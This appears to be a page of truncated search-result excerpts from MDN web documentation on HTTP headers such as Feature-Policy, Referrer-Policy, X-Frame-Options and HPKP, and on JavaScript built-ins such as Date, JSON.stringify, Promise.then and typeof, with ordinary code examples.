...ure is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origins. features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes). 'self': the feature is allowed by default in top-level browsing contexts and in nested browsing contexts (iframes) in the same origin. the feature is not allowed in cross-origin documents in nested browsing contexts. 'none': the feature is disabled in top-level and nested browsing contexts. the default value is 'self'. specifications ...
Feature-Policy: unsized-media - HTTP
t instability" problem caused by providing default dimensions for images whose size is not specified in advance so that image doesn't change size after loading. syntax feature-policy: unsized-media <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute. 'none': the feature is disabled...
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. ...
...ure is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origins. features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes). 'self': the feature is allowed by default in top-level browsing contexts and in nested browsing contexts (iframes) in the same origin. the feature is not allowed in cross-origin documents in nested browsing contexts. 'none': the feature is disabled in top-level and nested browsing contexts. default value the default value for unsized-m...
Feature-Policy: vibrate - HTTP
feature-policy header vibrate directive controls whether the current document is allowed to trigger device vibrations via navigator.vibrate() method of vibration api. syntax feature-policy: vibrate <allowlist>; <vibrate> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute. 'none': the feature is disabled...
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. ...
...ure is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origins. features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes). 'self': the feature is allowed by default in top-level browsing contexts and in nested browsing contexts (iframes) in the same origin. the feature is not allowed in cross-origin documents in nested browsing contexts. 'none': the feature is disabled in top-level and nested browsing contexts. the default value is 'self'. specifications ...
Feature-Policy: wake-lock - HTTP
note: this api is still actively being developed and available only behind a flag on select browsers and platforms. the http feature-policy header wake-lock directive controls whether the current document is allowed to use wake lock api to indicate that device should not enter power-saving mode. note: latest drafts of screen wake lock api defines screen-wake-lock directive. syntax feature-policy: wake-lock <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src':...
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. ...
...ure is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origins. features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes). 'self': the feature is allowed by default in top-level browsing contexts and in nested browsing contexts (iframes) in the same origin. the feature is not allowed in cross-origin documents in nested browsing contexts. 'none': the feature is disabled in top-level and nested browsing contexts. default policy default allow list for wake-lo...
web-share - HTTP
current document is allowed to use the navigator.share() of web share api to share text, links, images, and other content to arbitrary destiations of user's choice. syntax feature-policy: web-share <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute. 'none': the feature is disabled...
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. ...
...ure is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origins. features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes). 'self': the feature is allowed by default in top-level browsing contexts and in nested browsing contexts (iframes) in the same origin. the feature is not allowed in cross-origin documents in nested browsing contexts. 'none': the feature is disabled in top-level and nested browsing contexts. default policy the default value is 'self'. ...
Feature-Policy: xr-spatial-tracking - HTTP
r agent can indicate support for sessions supporting spatial tracking via navigator.xr.issessionsupported() and devicechange event on navigator.xr object. syntax feature-policy: xr-spatial-tracking <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute. 'none': the feature is disabled...
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. ...
...ure is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origins. features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes). 'self': the feature is allowed by default in top-level browsing contexts and in nested browsing contexts (iframes) in the same origin. the feature is not allowed in cross-origin documents in nested browsing contexts. 'none': the feature is disabled in top-level and nested browsing contexts. default policy the default allowlist is 'self...
Large-Allocation - HTTP
the non-standard large-allocation response header tells the browser that the page being loaded is going to want to perform a large allocation. it is currently only implemented in firefox, but is harmless to send to every browser. webassembly or asm.js applications can use large contiguous blocks of allocated memory. for complex games, for example, these allocations can be quite large, sometimes as large as 1gb. the large-allocation tells the browser that the web content in the to-be-loaded page is going to want to perform a large contiguous memory allocation and the browser can react to this header by starting a dedicated process for the to-be-loaded document, for example. header type response header forbidden header name no syntax large-allocation: 0 large-a...
... forbidden header name no syntax large-allocation: 0 large-allocation: <megabytes> directives 0 0 is a special value which represents uncertainty as to what the size of the allocation is. <megabytes> the expected size of the allocation to be performed, in megabytes. examples large-allocation: 0 large-allocation: 500 troubleshooting errors the large-allocation header throws warnings or error messages when used incorrectly. you'll encounter them in the web console. this page was loaded in a new process due to a large-allocation header. this message means that the browser saw the large-allocation header, and was able to reload the page into a new process which should have more available contiguous memory. a large-allocation header was ignored due to the load bein...
...post request is used to load a document, that load cannot currently be redirected into a new process. this error is displayed when loading a document with a large-allocation header with a non-get http method. this could be caused due to the document being loaded by a form submission, for example. a large-allocation header was ignored due to the presence of windows which have a reference to this browsing context through the frame hierarchy or window.opener. this error means that the document was not loaded at the top level of an user-opened or noopener-opened tab or window. it can occur in these situations: the document with the large-allocation header was loaded in an <iframe>. firefox cannot move an iframe into a new process currently, so the document must load in the current process...
Public-Key-Pins-Report-Only - HTTP
use certificate transparency and the expect-ct header instead. ...
...use certificate transparency and the expect-ct header instead. ...
...ey-pins-report-only: pin-sha256="<pin-value>"; max-age=<expire-time>; includesubdomains; report-uri="<uri>" directives pin-sha256="<pin-value>" the quoted string is the base64 encoded subject public key information (spki) fingerprint. it is possible to specify multiple pins for different public keys. some browsers might allow other hashing algorithms than sha-256 in the future. max-age=<expire-time> this directive is meaningless for the public-key-pins-report-only header, it will be ignored by user agents and the header will not be cached. includesubdomains optional if this optional parameter is specified, this rule applies to all of the site's subdomains as well. report-uri="<uri>" pin validation...
Referrer-Policy - HTTP
th requests. no-referrer-when-downgrade (default) this is the default behavior if no policy is specified, or if the provided value is invalid. the origin, path, and querystring of the url are sent as a referrer when the protocol security level stays the same (http→http, https→https) or improves (http→https), but isn't sent to less secure destinations (https→http). there is effort from browsers in moving to a stricter default value, namely strict-origin-when-cross-origin (see https://github.com/whatwg/fetch/pull/952), consider using this value (or a stricter one), if possible, when changing the referrer-policy. origin only send the origin of the document as the referrer. for example, a document at https://example.com/page.html will send the referrer https://example.com/. origin...
... specifying multiple values is only supported in the referrer-policy http header, and not in the referrerpolicy attribute. specificatio...
...?q=123 specifying a fallback policy if you want to specify a fallback policy in any case the desired policy hasn't got wide enough browser support, use a comma-separated list with the desired policy specified last: referrer-policy: no-referrer, strict-origin-when-cross-origin in the above scenario, no-referrer will only be used if strict-origin-when-cross-origin is not supported by the browser. specifying multiple values is only supported in the referrer-policy http header, and not in the referrerpolicy attribute. specifications specification status referrer policy editor's draft ...
X-DNS-Prefetch-Control - HTTP
the x-dns-prefetch-control http response header controls dns prefetching, a feature by which browsers proactively perform domain name resolution on both links that the user may choose to follow as well as urls for items referenced by the document, including images, css, javascript, and so forth. this prefetching is performed in the background, so that the dns is likely to have been resolved by the time the referenced items are needed. this reduces latency when the user clicks a link. header type response header forbidden header name no syntax x-dns-prefetch-control: on x-dns-prefetch-control: off directives on enables dns prefetching. this is what browsers do, if they support the feature, when this header is not present off disables dns prefetching. t...
... leak information to these domains. description dns requests are very small in terms of bandwidth, but latency can be quite high, especially on mobile networks. by speculatively prefetching dns results, latency can be reduced significantly at certain times, such as when the user clicks the link. in some cases, latency can be reduced by a second. the implementation of this prefetching in some browsers allows domain name resolution to occur in parallel with (instead of in serial with) the fetching of actual page content. by doing this, the high-latency domain name resolution process doesn't cause any delay while fetching content. page load times – especially on mobile networks – can be measurably improved in this way. if the domain names for images can be resolved in advance of the imag...
...latency domain name resolution process doesn't cause any delay while fetching content. page load times – especially on mobile networks – can be measurably improved in this way. if the domain names for images can be resolved in advance of the images being requested, pages that load many images can see an improvement of 5% or more in the time of loading images. configuring prefetching in the browser in general, you don't need to do anything to manage prefetching. however, the user may wish to disable prefetching. on firefox, this can be done by setting the network.dns.disableprefetch preference to true. also, by default, prefetching of embedded link hostnames is not performed on documents loaded over https. on firefox, this can be changed by setting the network.dns.disableprefetchfromhtt...
X-Frame-Options - HTTP
the x-frame-options http response header can be used to indicate whether or not a browser should be allowed to render a page in a <frame>, <iframe>, <embed> or <object>. sites can use this to avoid click-jacking attacks, by ensuring that their content is not embedded into other sites. the added security is provided only if the user accessing the document is using a browser that supports x-frame-options. note: the content-security-policy http header has a frame-ancestors directive which obsoletes this header for supporting browsers. header type response header forbidden header name no syntax there are two possible directives for x-frame-options: x-frame-options: deny x-frame-options: sameorigin directives if you specify deny, not only will attempts to l...
...m the same site. on the other hand, if you specify sameorigin, you can still use the page in a frame as long as the site including it in a frame is the same as the one serving the page. deny the page cannot be displayed in a frame, regardless of the site attempting to do so. sameorigin the page can only be displayed in a frame on the same origin as the page itself. the spec leaves it up to browser vendors to decide whether this option applies to the top level, the parent, or the whole chain, although it is argued that the option is not very useful unless all ancestors are also in the same origin (see bug 725490). also see browser compatibility for support details. allow-from uri this is an obsolete directive that no longer works in modern browsers. don't use it. in supporting legacy ...
...r vendors to decide whether this option applies to the top level, the parent, or the whole chain, although it is argued that the option is not very useful unless all ancestors are also in the same origin (see bug 725490). also see browser compatibility for support details. allow-from uri this is an obsolete directive that no longer works in modern browsers. don't use it. in supporting legacy browsers, a page can be displayed in a frame only on the specified origin uri. note that in the legacy firefox implementation this still suffered from the same problem as sameorigin did — it doesn't check the frame ancestors to see if they are in the same origin. the content-security-policy http header has a frame-ancestors directive which you can use instead. examples note: setting x-frame-optio...
X-XSS-Protection - HTTP
the http x-xss-protection response header is a feature of internet explorer, chrome and safari that stops pages from loading when they detect reflected cross-site scripting (xss) attacks. although these protections are largely unnecessary in modern browsers when sites implement a strong content-security-policy that disables the use of inline javascript ('unsafe-inline'), they can still provide protections for users of older web browsers that don't yet support csp. chrome has removed their xss auditor firefox have not, and will not implement x-xss-protection edge have retired their xss filter this means that if you do not need to support legacy browsers, it is recommended that you use content-security-policy without allowing unsafe-inline scripts instead. header type resp...
...rowsers, it is recommended that you use content-security-policy without allowing unsafe-inline scripts instead. header type response header forbidden header name no syntax x-xss-protection: 0 x-xss-protection: 1 x-xss-protection: 1; mode=block x-xss-protection: 1; report=<reporting-uri> 0 disables xss filtering. 1 enables xss filtering (usually default in browsers). if a cross-site scripting attack is detected, the browser will sanitize the page (remove the unsafe parts). 1; mode=block enables xss filtering. rather than sanitizing the page, the browser will prevent rendering of the page if an attack is detected. 1; report=<reporting-uri> (chromium only) enables xss filtering. ...
...this uses the functionality of the csp report-uri directive to send a report. ...
Proxy Auto-Configuration (PAC) file - HTTP
the javascript function contained in the pac file defines the function: function findproxyforurl(url, host) { // ... } syntax function findproxyforurl(url, host) parameters url the url being accessed. the path and query components of https:// urls are stripped. ...
... proxy should be used https host:port the specified https proxy should be used socks4 host:port socks5 host:port the specified socks server (with the specified sock version) should be used if there are multiple semicolon-separated settings, the left-most setting will be used, until firefox fails to establish the connection to the proxy. in that case, the next value will be used, etc. ...
...be used, until firefox fails to establish the connection to the proxy. in that case, the next value will be used, etc. the browser will automatically retry a previously unresponsive proxy after 30 minutes. additional attempts will continue beginning at one hour, always adding 30 minutes to the elapsed time between attempts. if all proxies are down, and there was no direct option specified, the browser will ask if proxies should be temporarily ignored, and direct connections attempted. after 20 minutes, the browser will ask if proxies should be retried, asking again after an additional 40 minutes. queries will continue, always adding 20 minutes to the elapsed time between queries. examples proxy w3proxy.netscape.com:8080; proxy mozilla.netscape.com:8081 primary proxy is w3proxy:8080; if ...
HTTP Public Key Pinning (HPKP) - HTTP
note: public key pinning mechanism was deprecated in favor of certificate transparency and expect-ct header. http public key pinning (hpkp) was a security feature that used to tell a web client to associate a specific cryptographic public key with a certain web server to decrease the risk of mitm attacks with forged certificates. it has been removed in modern browsers and is no longer supported. to ensure the authenticity of a server's public key used in tls sessions, this public key is wrapped into a x.509 certificate which is usually signed by a certificate authority (ca). web clients such as browsers trust a lot of these cas, which can all create certificates for arbitrary domain names. if an attacker is able to compromise a single ca, they can perform mitm attacks on various tls conne...
...feature for your site, you need to return the public-key-pins http header when your site is accessed over https: public-key-pins: pin-sha256="base64=="; max-age=expiretime [; includesubdomains][; report-uri="reporturi"] pin-sha256 the quoted string is the base64 encoded subject public key information (spki) fingerprint. it is possible to specify multiple pins for different public keys. some browsers might allow other hashing algorithms than sha-256 in the future. see below on how to extract this information out of a certificate or key file. max-age the time, in seconds, that the browser should remember that this site is only to be accessed using one of the defined keys. includesubdomains optional if this optional parameter is specified, this rule applies to all of the site's subdomain...
... valid for all subdomains, which is told by the includesubdomains declaration. finally, report-uri="https://www.example.net/hpkp-report" explains where to report pin validation failures. report-only header instead of using a public-key-pins header you can also use a public-key-pins-report-only header. this header only sends reports to the report-uri specified in the header and does still allow browsers to connect to the webserver even if the pinning is violated. setting up your webserver to include the hpkp header the concrete steps necessary to deliver the hpkp header depend on the web server you use. note: these examples use a max-age of two months and include all subdomains. it is advised to verify that this setup will work for your server. hpkp has the potential to lock out users ...
HTTP
Web › HTTP
http follows a classical client-server model, with a client opening a connection to make a request, then waiting until it receives a response. http is a stateless protocol, meaning that the server does not keep any data (state) between two requests. ...
...nal teams with creating secure web applications. http messages describes the type and structure of the different kind of messages of http/1.x and http/2. a typical http session shows and explains the flow of a usual http session. connection management in http/1.x describes the three connection management models available in http/1.x, their strengths, and their weaknesses. reference browse through detailed http reference documentation. http headers http message headers are used to describe a resource, or the behavior of the server or the client. custom proprietary headers can be added using the x- prefix; others in an iana registry, whose original content was defined in rfc 4229. iana also maintains a registry of proposed new http message headers. http request methods the di...
...volve specifying server origins and script endpoints. tools & resources helpful tools and resources for understanding and debugging http. firefox developer tools network monitor mozilla observatory a project designed to help developers, system administrators, and security professionals configure their sites safely and securely. redbot tools to check your cache-related headers how browsers work a very comprehensive article on browser internals and request flow through http protocol. a must-read for any web developer. ...
About JavaScript - JavaScript
it is a prototype-based, multi-paradigm scripting language that is dynamic, and supports object-oriented, imperative, and functional programming styles. javascript runs on the client side of the web, which can be used to design / program how the web pages behave on the occurrence of an event. ...
...dition 5 compliant. several major runtime optimizations such as tracemonkey (firefox 3.5), jägermonkey (firefox 4) and ionmonkey were added to the spidermonkey javascript engine over time. work is always ongoing to improve javascript execution performance. besides the above implementations, there are other popular javascript engines such as:- google's v8, which is used in the google chrome browser and recent versions of opera browser. this is also the engine used by node.js. the javascriptcore (squirrelfish/nitro) used in some webkit browsers such as apple safari. carakan in old versions of opera. the chakra engine used in internet explorer (although the language it implements is formally called "jscript" in order to avoid trademark issues). each of mozilla's javascript engines expo...
...ple safari. carakan in old versions of opera. the chakra engine used in internet explorer (although the language it implements is formally called "jscript" in order to avoid trademark issues). each of mozilla's javascript engines expose a public api which application developers can use to integrate javascript into their software. by far, the most common host environment for javascript is web browsers. web browsers typically use the public api to create host objects responsible for reflecting the dom into javascript. another common application for javascript is as a (web) server side scripting language. a javascript web server would expose host objects representing a http request and response objects, which could then be manipulated by a javascript program to dynamically generate web pages...
Control flow and error handling - JavaScript
as errors, it is frequently more effective to use one of the exception types specifically created for this purpose: ecmascript exceptions domexception and domerror throw statement use the throw statement to throw an exception. a throw statement specifies the value to be thrown: throw expression; you may throw any expression, not just expressions of a specific type. the following code throws several exceptions of varying types: throw 'error2'; // string type throw 42; // number type throw true; // boolean type throw {tostring: function() { return "i'm an object!"; } }; note: you can specify an object when you throw an exception. you can then reference the object's properties in the catch block. // create an object type userexception function userexception(messag...
....catch statement consists of a try block, which contains one or more statements, and a catch block, containing statements that specify what to do if an exception is thrown in the try block. in other words, you want the try block to succeed—but if it does not, you want control to pass to the catch block. if any statement within the try block (or in a function called from within the try block) throws an exception, control immediately shifts to the catch block. if no exception is thrown in the try block, the catch block is skipped. the finally block executes after the try and catch blocks execute but before the statements following the try...catch statement. the following example uses a try...catch statement. the example calls a function that retrieves a month name from an array based on the ...
...e preceding syntax) that holds the value specified by the throw statement. you can use this identifier to get information about the exception that was thrown. javascript creates this identifier when the catch block is entered. the identifier lasts only for the duration of the catch block. once the catch block finishes executing, the identifier no longer exists. for example, the following code throws an exception. when the exception occurs, control transfers to the catch block. try { throw 'myexception'; // generates an exception } catch (err) { // statements to handle any exceptions logmyerrors(err); // pass exception object to error handler } best practice: when logging errors to the console inside a catch block, using console.error() rather than console.log() is advised for de...
Memory Management - JavaScript
r nulled, a reference-counting garbage collector will always have at least one reference intact and will keep the dom element in memory even if it was removed from the dom tree. if the dom element holds a large amount of data (illustrated in the above example with the "lotsofdata" property), the memory consumed by this data will never be released and can lead to memory related issues such as the browser becoming increasingly slower. mark-and-sweep algorithm this algorithm reduces the definition of "an object is no longer needed" to "an object is unreachable". this algorithm assumes the knowledge of a set of objects called roots. in javascript, the root is the global object. periodically, the garbage collector will start from these roots, find all objects that are referenced from these roots...
...se roots, then all objects referenced from these, etc. starting from the roots, the garbage collector will thus find all reachable objects and collect all non-reachable objects. this algorithm is an improvement over the previous one since an object having zero references is effectively unreachable. the opposite does not hold true as we have seen with circular references. as of 2012, all modern browsers ship a mark-and-sweep garbage-collector. all improvements made in the field of javascript garbage collection (generational/incremental/concurrent/parallel garbage collection) over the last few years are implementation improvements of this algorithm, but not improvements over the garbage collection algorithm itself nor its reduction of the definition of when "an object is no longer needed". cy...
...lly decide when and what memory is released. in order to release the memory of an object, it needs to be made explicitly unreachable. as of 2019, it is not possible to explicitly or programmatically trigger garbage collection in javascript. node.js node.js offers additional options and tools for configuring and debugging memory issues that may not be available for javascript executed within a browser environment. v8 engine flags the max amount of available heap memory can be increased with a flag: node --max-old-space-size=6000 index.js we can also expose the garbage collector for debugging memory issues using a flag and the chrome debugger: node --expose-gc --inspect index.js see also ibm article on "memory leak patterns in javascript" (2007) kangax article on how to register eve...
Date.prototype.getTime() - JavaScript
you can use this method to help assign a date and time to another date object. this method is functionally equivalent to the valueof() method. ...
... you can use this method to help assign a date and time to another date object. this method is functionally equivalent to the valueof() method. ...
...s project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax dateobj.gettime() return value a number representing the milliseconds elapsed between 1 january 1970 00:00:00 utc and the given date. reduced time precision to offer protection against timing attacks and fingerprinting, the precision of new date().gettime() might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20µs in firefox 59; in 60 it will be 2ms. // reduced time precision (2ms) in firefox 60 new date().gettime(); // 1519211809934 // 1519211810362 // 1519211811670 // ... // reduced time precision with `privacy.resistfingerprinting` enabled new date().gettime(); // 1519129853500 // 15191298...
Date - JavaScript
w() returns the numeric value corresponding to the current time—the number of milliseconds elapsed since january 1, 1970 00:00:00 utc, with leap seconds ignored. date.parse() parses a string representation of a date and returns the number of milliseconds since 1 january, 1970, 00:00:00 utc, with leap seconds ignored. note: parsing of strings with date.parse is strongly discouraged due to browser differences and inconsistencies. date.utc() accepts the same parameters as the longest form of the constructor (i.e. 2 to 7) and returns the number of milliseconds since january 1, 1970, 00:00:00 utc, with leap seconds ignored. instance methods date.prototype.getdate() returns the day of the month (1–31) for the specified date according to local time. date.prototype.getday() ret...
...string using the utc timezone. date.prototype.valueof() returns the primitive value of a date object. overrides the object.prototype.valueof() method. examples several ways to create a date object the following examples show several ways to create javascript dates: note: parsing of date strings with the date constructor (and date.parse, they are equivalent) is strongly discouraged due to browser differences and inconsistencies. let today = new date() let birthday = new date('december 17, 1995 03:24:00') let birthday = new date('1995-12-17t03:24:00') let birthday = new date(1995, 11, 17) // the month is 0-indexed let birthday = new date(1995, 11, 17, 3, 24, 0) let birthday = new date(628021800000) // passing epoch timestamp to get date, month and year or time ...
... get the number of seconds since the ecmascript epoch let seconds = math.floor(date.now() / 1000) in this case, it's important to return only an integer—so a simple division won't do. it's also important to only return ...
JSON.stringify() - JavaScript
umber is capped at 10 (if it is greater, the value is just 10). values less than 1 indicate that no space should be used. if this is a string, the string (or the first 10 characters of the string, if it's longer than that) is used as white space. if this parameter is not provided (or is null), no white space is used. return value a json string representing the given value. exceptions throws a typeerror ("cyclic object value") exception when a circular reference is found. throws a typeerror ("bigint value can't be serialized in json") when trying to stringify a bigint value. description json.stringify() converts a value to json notation representing it: if the value has a tojson() method, it's responsible to define what data will be serialized. boolean, number, and string obj...
...sted object under key '0'"]' issue with json.stringify() when serializing circular references note that since the json format doesn't support object references (although an ietf draft exists), a typeerror will be thrown if one attempts to encode an object with circular references. const circularreference = {}; circularreference.myself = circularreference; // serializing circular references throws "typeerror: cyclic object value" json.stringify(circularreference); to serialize circular references you can use a library that supports them (e.g. cycle.js by douglas crockford) or implement a solution by yourself, which will require finding and replacing (or removing) the cyclic references by serializable values. issue with plain json.stringify for use as javascript historically, json was n...
..."quux", foo: "bar" }) //'{"baz":"quux","foo":"bar"}' console.log(a !== b) // true // some memoization functions use json.stringify to serialize arguments, // which may cause a cache miss when encountering the same object like above example of using json.stringify() with localstorage in a case where you want to store an object created by your user and allowing it to be restored even after the browser has been closed, the following example is a model for the applicability of json.stringify(): // creating an example of json var session = { 'screens': [], 'state': true }; session.screens.push({ 'name': 'screena', 'width': 450, 'height': 250 }); session.screens.push({ 'name': 'screenb', 'width': 650, 'height': 350 }); session.screens.push({ 'name': 'screenc', 'width': 750, 'height': 120 })...
Object.prototype.__proto__ - JavaScript
warning: changing the [[prototype]] of an object is, by the nature of how modern javascript engines optimize property accesses, a very slow operation, in every browser and javascript engine. the effects on the performance of altering inheritance are subtle and far-flung, and are not limited to simply the time spent in obj.__proto__ = ... statements, but may extend to any code that has access to any object whose [[prototype]] has been altered. if you care about performance you should avoid setting the [[prototype]] of an object. instead, create a new object with the desired [[prototype]] using object.create(). ...
...d to simply the time spent in obj.__proto__ = ... statements, but may extend to any code that has access to any object whose [[prototype]] has been altered. if you care about performance you should avoid setting the [[prototype]] of an object. instead, create a new object with the desired [[prototype]] using object.create(). warning: while object.prototype.__proto__ is supported today in most browsers, its existence and exact behavior has only been standardized in the ecmascript 2015 specification as a legacy feature to ensure compatibility for web browsers. for better support, use object.getprototypeof() instead. the __proto__ property of object.prototype is an accessor property (a getter function and a setter function) that exposes the internal [[prototype]] (either an object or null) ...
...port, use object.getprototypeof() instead. the __proto__ property of object.prototype is an accessor property (a getter function and a setter function) that exposes the internal [[prototype]] (either an object or null) of the object through which it is accessed. the use of __proto__ is controversial and discouraged. it was never originally included in the ecmascript language spec, but modern browsers implemented it anyway. only recently was the __proto__ property standardized by the ecmascript 2015 specification for compatibility with web browsers, so it will be supported into the future. it is deprecated in favor of object.getprototypeof/reflect.getprototypeof and object.setprototypeof/reflect.setprototypeof (though still, setting the [[prototype]] of an object is a slow operation that sh...
Object.seal() - JavaScript
// may be changed or removed. obj.foo = 'baz'; obj.lumpy = 'woof'; delete obj.prop; var o = object.seal(obj); o === obj; // true object.issealed(obj); // === true // changing property values on a sealed object // still works. obj.foo = 'quux'; // but you can't convert data properties to accessors, // or vice versa. ...
...property(obj, 'foo', { get: function() { return 'g'; } }); // throws a typeerror // now any changes, other than to property values, // will fail. obj.quaxxor = 'the friendly duck'; // silently doesn't add the property delete obj.foo; // silently doesn't delete the property // ...and in strict mode such attempts // will throw typeerrors. function fail() { 'use strict'; delete obj.foo; // throws a typeerror obj.sparky = 'arf'; // throws a typeerror } fail(); // attempted additions through // object.defineproperty will also throw. ...
... add the property delete obj.foo; // silently doesn't delete the property // ...and in strict mode such attempts // will throw typeerrors. function fail() { 'use strict'; delete obj.foo; // throws a typeerror obj.sparky = 'arf'; // throws a typeerror } fail(); // attempted additions through // object.defineproperty will also throw. object.defineproperty(obj, 'ohai', { value: 17 }); // throws a typeerror object.defineproperty(obj, 'foo', { value: 'eit' }); // changes existing property value non-object coercion in es5, if the argument to this method is not an object (a primitive), then it will cause a typeerror. in es2015, a non-object argument will be treated as if it was a sealed ordinary object by simply returning it. object.seal(1); // typeerror: 1 is not an object (es5 code)...
Promise.prototype.then() - JavaScript
he promise is fulfilled. this function has one argument, the fulfillment value. if it is not a function, it is internally replaced with an "identity" function (it returns the received argument). onrejected optional a function called if the promise is rejected. this function has one argument, the rejection reason. if it is not a function, it is internally replaced with a "thrower" function (it throws an error it received as argument). return value once a promise is fulfilled or rejected, the respective handler function (onfulfilled or onrejected) will be called asynchronously (scheduled in the current thread loop). the behavior of the handler function follows a specific set of rules. if a handler function: returns a value, the promise returned by then gets resolved with the returned val...
...r function (onfulfilled or onrejected) will be called asynchronously (scheduled in the current thread loop). the behavior of the handler function follows a specific set of rules. if a handler function: returns a value, the promise returned by then gets resolved with the returned value as its value. doesn't return anything, the promise returned by then gets resolved with an undefined value. throws an error, the promise returned by then gets rejected with the thrown error as its value. returns an already fulfilled promise, the promise returned by then gets fulfilled with that promise's value as its value. returns an already rejected promise, the promise returned by then gets rejected with that promise's value as its value. returns another pending promise object, the resolution/rejection ...
...dler was called>). var p2 = new promise(function(resolve, reject) { resolve(1); }); p2.then(function(value) { console.log(value); // 1 return value + 1; }).then(function(value) { console.log(value + ' - a synchronous value works'); // 2 - a synchronous value works }); p2.then(function(value) { console.log(value); // 1 }); a then call will return a rejected promise if the function throws an error or returns a rejected promise. promise.resolve() .then(() => { // makes .then() return a rejected promise throw new error('oh no!'); }) .then(() => { console.log('not called.'); }, error => { console.error('onrejected function called: ' + error.message); }); in all other cases, a resolving promise is returned. in the following example, the first then() will re...
encodeURI() - JavaScript
sole.log(encodeuricomponent(set3)); // abc%20abc%20123 (the space gets encoded as %20) note that encodeuri() by itself cannot form proper http get and post requests, such as for xmlhttprequest, because "&", "+", and "=" are not encoded, which are treated as special characters in get and post requests. encodeuricomponent(), however, does encode these characters. ...
...e "&", "+", and "=" are not encoded, which are treated as special characters in get and post requests. encodeuricomponent(), however, does encode these characters. ...
...ts. encodeuricomponent(), however, does encode these characters. ...
undefined - JavaScript
eractive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax undefined description undefined is a property of the global object. that is, it is a variable in global scope. the initial value of undefined is the primitive value undefined. in modern browsers (javascript 1.8.5 / firefox 4+), undefined is a non-configurable, non-writable property, per the ecmascript 5 specification. (even when this is not the case, avoid overriding it.) a variable that has not been assigned a value is of type undefined. a method or statement also returns undefined if the variable that is being evaluated does not have an assigned value. a function returns undefined ...
...erator and undefined alternatively, typeof can be used: var x; if (typeof x === 'undefined') { // these statements execute } one reason to use typeof is that it does not throw an error if the variable has not been declared. // x has not been declared before if (typeof x === 'undefined') { // evaluates to true without errors // these statements execute } if (x === undefined) { // throws a referenceerror } however, there is another alternative. javascript is a statically scoped language, so knowing if a variable is declared can be read by seeing whether it is declared in an enclosing context. the global scope is bound to the global object, so checking the existence of a variable in the global context can be done by checking the existence of a property on the global object, us...
... ...
typeof - JavaScript
"bigint" string "string" symbol (new in ecmascript 2015) "symbol" function object (implements [[call]] in ecma-262 terms) "function" any other object "object" note: ecmascript 2019 and older permitted implementations to have typeof return any implementation-defined string value for non-callable non-standard exotic objects. the only known browser to have actually taken advantage of this is old internet explorer (see below). examples basic usage // numbers typeof 37 === 'number'; typeof 3.14 === 'number'; typeof(42) === 'number'; typeof math.ln2 === 'number'; typeof infinity === 'number'; typeof nan === 'number'; // despite being "not-a-number" typeof number('1') === 'number'; // number tries to parse things into numbers typeof ...
